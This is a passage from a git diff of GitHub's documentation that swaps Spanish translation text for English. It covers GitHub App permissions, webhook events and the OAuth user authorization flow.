`callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %} +`callback_url` | `string` | The full URL to redirect to after someone authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.{% endif %} +`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app. +`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation. +`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed. +`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app. +`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default. +`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to. +{% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details. +{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`. +`domain` | `string` | The URL of a content reference. +`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %} +`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %} -## Permisos de la {% data variables.product.prodname_github_app %} +## {% data variables.product.prodname_github_app %} permissions -Puedes seleccionar los permisos en una secuencia de consulta utilizando los nombres de permiso conforme en la siguiente tabla a manera de nombres de parámetro de consulta y usando el tipo de permiso como el valor de la consulta. Por ejemplo, para seleccionar los permisos de `Read & write` en la interface de usuario para `contents`, tu secuencia de consulta incluiría `&contents=write`. Para seleccionar los permisos de `Read-only` en la interface de usuario para `blocking`, tu secuencia de consulta incluiría `&blocking=read`. Para seleccionar `no-access` en la interface de usuario para las `checks`, tu secuencia de consulta no incluiría el permiso `checks`. +You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission. -| Permiso | Descripción | -| -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| [`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Otorga acceso a diversas terminales para la administración de organizaciones y repositorios. Puede ser uno de entre `none`, `read`, o `write`.{% ifversion fpt or ghec %} -| [`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | Otorga acceso a la [API de Bloqueo de Usuarios](/rest/reference/users#blocking). Puede ser uno de entre `none`, `read`, o `write`.{% endif %} -| [`verificaciones`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | Otorga acceso a la [API de verificaciones](/rest/reference/checks). Puede ser uno de entre `none`, `read`, o `write`. | -| `content_references` | Otorga acceso a la terminal "[Crear un adjunto de contenido](/rest/reference/apps#create-a-content-attachment)". Puede ser uno de entre `none`, `read`, o `write`. | -| [`contenidos`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) | Otorga acceso a diversas terminales que te permiten modificar el contenido de los repositorios. Puede ser uno de entre `none`, `read`, o `write`. | -| [`implementaciones`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | Otorga acceso a la [API de despliegues](/rest/reference/repos#deployments). Puede ser uno de entre `none`, `read`, o `write`.{% ifversion fpt or ghes or ghec %} -| [`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | Otorga acceso a la [API de Correos electrónicos](/rest/reference/users#emails). Puede ser uno de entre `none`, `read`, o `write`.{% endif %} -| [`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | Otorga acceso a la [API de Seguidores](/rest/reference/users#followers). Puede ser uno de entre `none`, `read`, o `write`. | -| [`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | Otorga acceso a la [API de Llaves GPG](/rest/reference/users#gpg-keys). Puede ser uno de entre `none`, `read`, o `write`. | -| [`propuestas`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | Otorga acceso a la [API de Informe de problemas](/rest/reference/issues). Puede ser uno de entre `none`, `read`, o `write`. | -| [`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | Otorga acceso a la [API de Llaves Públicas](/rest/reference/users#keys). Puede ser uno de entre `none`, `read`, o `write`. | -| [`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) | Otorga acceso para administrar los miembros de una organización. Puede ser uno de entre `none`, `read`, o `write`.{% ifversion fpt or ghec %} -| [`metadatos`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | Otorga acceso a las terminales de solo lectura que no filtran datos sensibles. Puede ser `read` o `none`. Su valor predeterminado es `read` cuando configuras cualquier permiso, o bien, `none` cuando no especificas ningún permiso para la {% data variables.product.prodname_github_app %}. | -| [`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Otorga acceso a la terminal "[Actualizar una organización](/rest/reference/orgs#update-an-organization)" y a la [API de Restricciones de Interacción en la Organización](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Puede ser uno de entre `none`, `read`, o `write`.{% endif %} -| [`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | Otorga acceso a la [API de Webhooks de la Organización](/rest/reference/orgs#webhooks/). Puede ser uno de entre `none`, `read`, o `write`. | -| `organization_plan` | Otorga acceso para obtener información acerca del plan de una organización que utilice la terminal "[Obtener una organización](/rest/reference/orgs#get-an-organization)". Puede ser uno de entre `none` o `read`. | -| [`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Otorga acceso a la [API de Proyectos](/rest/reference/projects). Puede ser uno de entre: `none`, `read`, `write`, o `admin`.{% ifversion fpt or ghec %} -| [`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Otorga acceso a la [API de Bloqueo de Usuarios de la Organización](/rest/reference/orgs#blocking). Puede ser uno de entre `none`, `read`, o `write`.{% endif %} -| [`páginas`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | Otorga acceso a la [API de páginas](/rest/reference/repos#pages). Puede ser uno de entre `none`, `read`, o `write`. | -| `plan` | Otorga acceso para obtener información acerca del plan de GitHub de un usuario que utilice la terminal "[Obtener un usuario](/rest/reference/users#get-a-user)". Puede ser uno de entre `none` o `read`. | -| [`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | Otorga acceso a varias terminales de solicitud de extracción. Puede ser uno de entre `none`, `read`, o `write`. | -| [`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | Otorga acceso a la [API de Webhooks del Repositorio](/rest/reference/repos#hooks). Puede ser uno de entre `none`, `read`, o `write`. | -| [`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) | Otorga acceso a la [API de Proyectos](/rest/reference/projects). Puede ser uno de entre: `none`, `read`, `write`, o `admin`.{% ifversion fpt or ghes > 3.0 or ghec %} -| [`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) | Otorga acceso a la [API de escaneo de secretos](/rest/reference/secret-scanning). Puede ser uno de entre: `none`, `read`, o `write`.{% endif %}{% ifversion fpt or ghes or ghec %} -| [`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) | Otorga acceso a la [API de escaneo de código](/rest/reference/code-scanning/). Puede ser uno de entre `none`, `read`, o `write`.{% endif %} -| [`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | Otorga acceso a la [API de Contenidos](/rest/reference/repos#contents). Puede ser uno de entre `none`, `read`, o `write`. | -| [`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | Otorga acceso a la [API de marcar con estrella](/rest/reference/activity#starring). Puede ser uno de entre `none`, `read`, o `write`. | -| [`estados`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | Otorga acceso a la [API de Estados](/rest/reference/repos#statuses). Puede ser uno de entre `none`, `read`, o `write`. | -| [`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | Otorga acceso a la [API de debates de equipo](/rest/reference/teams#discussions) y a la [API de comentarios en debates de equipo](/rest/reference/teams#discussion-comments). Puede ser uno de entre `none`, `read`, o `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| `vulnerability_alerts` | Otorga acceso para recibir alertas de seguridad para las dependencias vulnerables en un repositorio. Consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" para aprender más. Puede ser uno de entre: `none` o `read`.{% endif %} -| `observando` | Otorga acceso a la lista y cambia los repositorios a los que un usuario está suscrito. Puede ser uno de entre `none`, `read`, o `write`. | +Permission | Description +---------- | ----------- +[`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %} +[`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %} +[`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`. +`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`. +[`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) | Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`. +[`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %} +[`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %} +[`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`. +[`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`. +[`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`. +[`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`. +[`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) | Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %} +[`metadata`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}. +[`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %} +[`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`. +`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`. +[`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %} +[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %} +[`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`. +`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`. +[`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`. +[`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`. +[`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) | Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghes > 3.0 or ghec %} +[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) | Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %} +[`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) | Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %} +[`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`. +[`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`. +[`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | Grants access to the [Statuses API](/rest/reference/repos#statuses). Can be one of: `none`, `read`, or `write`. +[`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +`vulnerability_alerts`| Grants access to receive security alerts for vulnerable dependencies in a repository. See "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" to learn more. Can be one of: `none` or `read`.{% endif %} +`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`. -## Eventos de webhook de {% data variables.product.prodname_github_app %} +## {% data variables.product.prodname_github_app %} webhook events -| Nombre del evento de webhook | Permiso requerido | Descripción | -| ------------------------------------------------------------------------------------------------------------ | ----------------------------------------------- | --------------------------------------------------------------------------------------------------- | -| [`check_run`](/webhooks/event-payloads/#check_run) | `verificaciones` | {% data reusables.webhooks.check_run_short_desc %} -| [`check_suite`](/webhooks/event-payloads/#check_suite) | `verificaciones` | {% data reusables.webhooks.check_suite_short_desc %} -| [`comentario_confirmación de cambios`](/webhooks/event-payloads/#commit_comment) | `contenidos` | {% data reusables.webhooks.commit_comment_short_desc %} -| [`content_reference`](/webhooks/event-payloads/#content_reference) | `content_references` | {% data reusables.webhooks.content_reference_short_desc %} -| [`create (crear)`](/webhooks/event-payloads/#create) | `contenidos` | {% data reusables.webhooks.create_short_desc %} -| [`delete`](/webhooks/event-payloads/#delete) | `contenidos` | {% data reusables.webhooks.delete_short_desc %} -| [`deployment`](/webhooks/event-payloads/#deployment) | `implementaciones` | {% data reusables.webhooks.deployment_short_desc %} -| [`deployment_status`](/webhooks/event-payloads/#deployment_status) | `implementaciones` | {% data reusables.webhooks.deployment_status_short_desc %} -| [`bifurcación`](/webhooks/event-payloads/#fork) | `contenidos` | {% data reusables.webhooks.fork_short_desc %} -| [`gollum`](/webhooks/event-payloads/#gollum) | `contenidos` | {% data reusables.webhooks.gollum_short_desc %} -| [`propuestas`](/webhooks/event-payloads/#issues) | `propuestas` | {% data reusables.webhooks.issues_short_desc %} -| [`comentario_propuesta`](/webhooks/event-payloads/#issue_comment) | `propuestas` | {% data reusables.webhooks.issue_comment_short_desc %} -| [`etiqueta`](/webhooks/event-payloads/#label) | `metadatos` | {% data reusables.webhooks.label_short_desc %} -| [`miembro`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %} -| [`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %} -| [`hito`](/webhooks/event-payloads/#milestone) | `solicitud_extracción` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %} -| [`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %} -| [`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %} -| [`page_build`](/webhooks/event-payloads/#page_build) | `páginas` | {% data reusables.webhooks.page_build_short_desc %} -| [`project`](/webhooks/event-payloads/#project) | `repository_projects` u `organization_projects` | {% data reusables.webhooks.project_short_desc %} -| [`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` u `organization_projects` | {% data reusables.webhooks.project_card_short_desc %} -| [`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` u `organization_projects` | {% data reusables.webhooks.project_column_short_desc %} -| [`public`](/webhooks/event-payloads/#public) | `metadatos` | {% data reusables.webhooks.public_short_desc %} -| [`solicitud_extracción`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %} -| [`revisión_solicitud de extracción`](/webhooks/event-payloads/#pull_request_review) | `solicitud_extracción` | {% data reusables.webhooks.pull_request_review_short_desc %} -| [`comentarios _revisiones_solicitudes de extracción`](/webhooks/event-payloads/#pull_request_review_comment) | `solicitud_extracción` | {% data reusables.webhooks.pull_request_review_comment_short_desc %} -| [`subir`](/webhooks/event-payloads/#push) | `contenidos` | {% data reusables.webhooks.push_short_desc %} -| [`lanzamiento`](/webhooks/event-payloads/#release) | `contenidos` | {% data reusables.webhooks.release_short_desc %} -| [`repositorio`](/webhooks/event-payloads/#repository) | `metadatos` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %} -| [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contenidos` | Permite que los integradores que utilizan GitHub Actions activen eventos personalizados.{% endif %} -| [`estado`](/webhooks/event-payloads/#status) | `estados` | {% data reusables.webhooks.status_short_desc %} -| [`equipo`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %} -| [`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %} -| [`observar`](/webhooks/event-payloads/#watch) | `metadatos` | {% data reusables.webhooks.watch_short_desc %} +Webhook event name | Required permission | Description +------------------ | ------------------- | ----------- +[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %} +[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %} +[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %} +[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %} +[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %} +[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %} +[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %} +[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %} +[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %} +[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %} +[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %} +[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %} +[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %} +[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %} +[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %} +[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %} +[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %} +[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %} +[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %} +[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %} +[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %} +[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %} +[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %} +[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %} +[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %} +[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %} +[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %} +[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %} +[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %} +[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %} +[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %} +[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %} +[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %} +[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %} diff --git a/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md index 4801304598..f7fea30a12 100644 --- a/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md +++ b/translations/es-ES/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md @@ -1,5 +1,5 @@ --- -title: Identificar y autorizar usuarios para las GitHub Apps +title: Identifying and authorizing users for GitHub Apps intro: '{% data reusables.shortdesc.identifying_and_authorizing_github_apps %}' redirect_from: - /early-access/integrations/user-identification-authorization/ @@ -13,89 +13,88 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: Identificar & autorizar usuarios +shortTitle: Identify & authorize users --- - {% data reusables.pre-release-program.expiring-user-access-tokens %} -Cuando tu GitHub App actúe en nombre de un usuario, ésta realiza solicitudes de usuario a servidor. Estas solicitudes deben autorizarse con un token de acceso de usuario. Las solicitudes de usuario a servidor incluyen el solicitar datos para un usuario, como el determinar qué repositorios mostrar a un usuario en particular. Estas solicitudes también incluyen las acciones que activa un usuario, como ejecutar una compilación. +When your GitHub App acts on behalf of a user, it performs user-to-server requests. These requests must be authorized with a user's access token. User-to-server requests include requesting data for a user, like determining which repositories to display to a particular user. These requests also include actions triggered by a user, like running a build. {% data reusables.apps.expiring_user_authorization_tokens %} -## Identificar usuarios en tu sitio +## Identifying users on your site -Para autorizar a los usuarios para las apps estándar que se ejecutan en el buscador, utiliza el [flujo de aplicaciones web](#web-application-flow). +To authorize users for standard apps that run in the browser, use the [web application flow](#web-application-flow). {% ifversion fpt or ghae or ghes > 3.0 or ghec %} -Para autorizar a los usuarios para apps sin interfaz gráfica sin acceso directo al buscador, tales como las herramientas de CLI o administradores de credenciales de Git, utiliza el [flujo del dispositivo](#device-flow). El flujo de dispositivos utiliza el [Otorgamiento de Autorizción de Dispositivos](https://tools.ietf.org/html/rfc8628) de OAuth 2.0. +To authorize users for headless apps without direct access to the browser, such as CLI tools or Git credential managers, use the [device flow](#device-flow). The device flow uses the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628). {% endif %} -## Flujo de aplicaciones Web +## Web application flow -Al utilizar el flujo de aplicaciones web, el proceso para identificar a los usuarios en tu sitio es: +Using the web application flow, the process to identify users on your site is: -1. Se redirecciona a los usuarios para solicitar su identidad de GitHub -2. GitHub redirecciona a los usuarios de vuelta a tu sitio -3. Tu GitHub App accede a la API con el token de acceso del usuario +1. Users are redirected to request their GitHub identity +2. Users are redirected back to your site by GitHub +3. Your GitHub App accesses the API with the user's access token -Si seleccionas **Solicitar la autorización del usuario (OAuth) durante la instalación** cuando crees o modifiques tu app, el paso 1 se completará durante la instalación de la misma. Para obtener más información, consulta la sección "[Autorizar usuarios durante la instalación](/apps/installing-github-apps/#authorizing-users-during-installation)". +If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, step 1 will be completed during app installation. For more information, see "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)." -### 1. Solicita la identidad de un usuario de GitHub -Dirige al usuario a la siguiente URL en su buscador: +### 1. Request a user's GitHub identity +Direct the user to the following URL in their browser: GET {% data variables.product.oauth_host_code %}/login/oauth/authorize -Cuando tu GitHub App especifica un parámetro de `login`, solicita a los usuarios con una cuenta específica que pueden utilizar para registrarse y autorizar tu app. +When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app. -#### Parámetros +#### Parameters -| Nombre | Type | Descripción | -| -------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `client_id` | `secuencia` | **Requerido.** La ID de cliente para tu GitHub App. Puedes encontrarla en los [Ajustes de tu GitHub App](https://github.com/settings/apps) cuando selecciones tu app. **Nota:** La ID de app y de cliente no son las mismas y no son intercambiables. | -| `redirect_uri` | `secuencia` | La URL en tu aplicación a donde se enviará a los usuarios después de la autorización. Esta debe ser una copia exacta de {% ifversion fpt or ghes > 3.0 or ghec %} una de las URL que proporcionaste como **URL de rellamado** {% else %} la URL que proporcionaste en el campo **URL de rellamado de autorización de usuario** {% endif %} cuando configuraste tu GitHub App y no puede contener ningún parámetro adicional. | -| `state` | `secuencia` | Este deberá contener una secuencia aleatoria para dar protección contra los ataques de falsificación y podría contener cualquier otros datos arbitrarios. | -| `login` | `secuencia` | Sugiere una cuenta específica para utilizar para registrarse y autorizar la app. | -| `allow_signup` | `secuencia` | Ya sea que se ofrezca no una opción para que los usuarios autenticados se registren para {% data variables.product.prodname_dotcom %} durante el flujo de OAuth. la opción predeterminada es `true`. Utiliza `false` cuando una política prohíba los registros. | +Name | Type | Description +-----|------|------------ +`client_id` | `string` | **Required.** The client ID for your GitHub App. You can find this in your [GitHub App settings](https://github.com/settings/apps) when you select your app. **Note:** The app ID and client ID are not the same, and are not interchangeable. +`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters. +`state` | `string` | This should contain a random string to protect against forgery attacks and could contain any other arbitrary data. +`login` | `string` | Suggests a specific account to use for signing in and authorizing the app. +`allow_signup` | `string` | Whether or not unauthenticated users will be offered an option to sign up for {% data variables.product.prodname_dotcom %} during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups. {% note %} -**Nota:** No necesitas proporcionar alcances en tu solicitud de autorización. A diferencia de la OAuth trandicional, el token de autorizción se limita a los permisos asociados con tu GitHub App y a aquellos del usuario. +**Note:** You don't need to provide scopes in your authorization request. Unlike traditional OAuth, the authorization token is limited to the permissions associated with your GitHub App and those of the user. {% endnote %} -### 2. GitHub redirecciona a los usuarios de vuelta a tu sitio +### 2. Users are redirected back to your site by GitHub -Si el usuario acepta tu solicitud, GitHub te redirecciona de regreso a tu sitio con un `code` temporal en un parámetro de código así como con el estado que proporcionaste en el paso anterior en el parámetro `state`. Si los estados no coinciden significa que un tercero creó la solicitud y que se 